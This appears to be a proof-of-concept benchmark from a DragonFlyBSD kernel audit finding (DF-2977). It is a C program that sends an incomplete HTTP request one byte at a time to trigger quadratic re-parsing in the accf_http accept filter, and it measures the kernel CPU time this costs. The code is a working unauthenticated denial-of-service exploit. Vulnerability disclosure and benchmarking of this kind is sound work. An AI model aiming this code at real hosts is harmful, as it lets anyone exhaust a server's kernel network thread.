DragonFlyBSD Kernel Audit
DF-2977 / bench.c
← back to finding ↓ download raw
/*
 * DF-2977 - accf_http httpready filter re-parses the ENTIRE accumulated
 * request from byte 0 on every data arrival (sys/net/accf_http/accf_http.c
 * soparsehttpvers lines 237-278: on each upcall the loop restarts at
 * so->so_rcv.ssb_mb).  A client that dribbles the request one byte per
 * segment (TCP_NODELAY) with exactly one space and no newline keeps the
 * filter in "readmore" state, so b buffered bytes cost O(b^2) byte-visits
 * plus b upcalls -- ALL on the netisr protocol thread, unauthenticated.
 *
 * bench <mode> <bytes> <conns>
 *   mode 1: one-byte sends (quadratic)   mode 0: single bulk send (linear)
 * Prints kern.cp_time deltas (user nice sys intr idle) + wall time.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

static void cp_time(long out[5])
{
	size_t len = sizeof(long) * 5;
	if (sysctlbyname("kern.cp_time", out, &len, NULL, 0) < 0) {
		perror("sysctl kern.cp_time"); exit(1);
	}
}

int main(int argc, char **argv)
{
	int mode = argc > 1 ? atoi(argv[1]) : 1;
	int nbytes = argc > 2 ? atoi(argv[2]) : 8192;
	int conns = argc > 3 ? atoi(argv[3]) : 8;
	int port = argc > 4 ? atoi(argv[4]) : 19000;
	long a[5], b[5];
	struct timespec t0, t1;
	char *req;
	int c, i, fd, one = 1;

	req = malloc(nbytes + 16);
	/* one space total, no newline: filter scans whole buffer, re-arms */
	memcpy(req, "GET /", 5);
	for (i = 5; i < nbytes; i++)
		req[i] = 'a';

	cp_time(a);
	clock_gettime(CLOCK_MONOTONIC, &t0);

	for (c = 0; c < conns; c++) {
		struct sockaddr_in sa;
		int off = 0;

		fd = socket(AF_INET, SOCK_STREAM, 0);
		memset(&sa, 0, sizeof(sa));
		sa.sin_family = AF_INET;
		sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
		sa.sin_port = htons(port);
		if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
			perror("connect"); return 1;
		}
		setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
		if (mode) {
			for (off = 0; off < nbytes; off++)
				if (write(fd, req + off, 1) != 1) { perror("write"); return 1; }
		} else {
			if (write(fd, req, nbytes) != nbytes) { perror("write"); return 1; }
		}
		/* small delay so the last segments get processed before close */
		usleep(5000);
		close(fd);
	}
	clock_gettime(CLOCK_MONOTONIC, &t1);
	cp_time(b);

	double wall = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;
	printf("mode=%s bytes=%d conns=%d wall=%.3fs\n",
	       mode ? "byte-at-a-time" : "bulk", nbytes, conns, wall);
	printf("cp_time delta: user=%ld nice=%ld sys=%ld intr=%ld idle=%ld\n",
	       b[0] - a[0], b[1] - a[1], b[2] - a[2], b[3] - a[3], b[4] - a[4]);
	printf("kernel-ticks (sys+intr) = %ld  (100/sec)\n",
	       (b[2] - a[2]) + (b[3] - a[3]));
	return 0;
}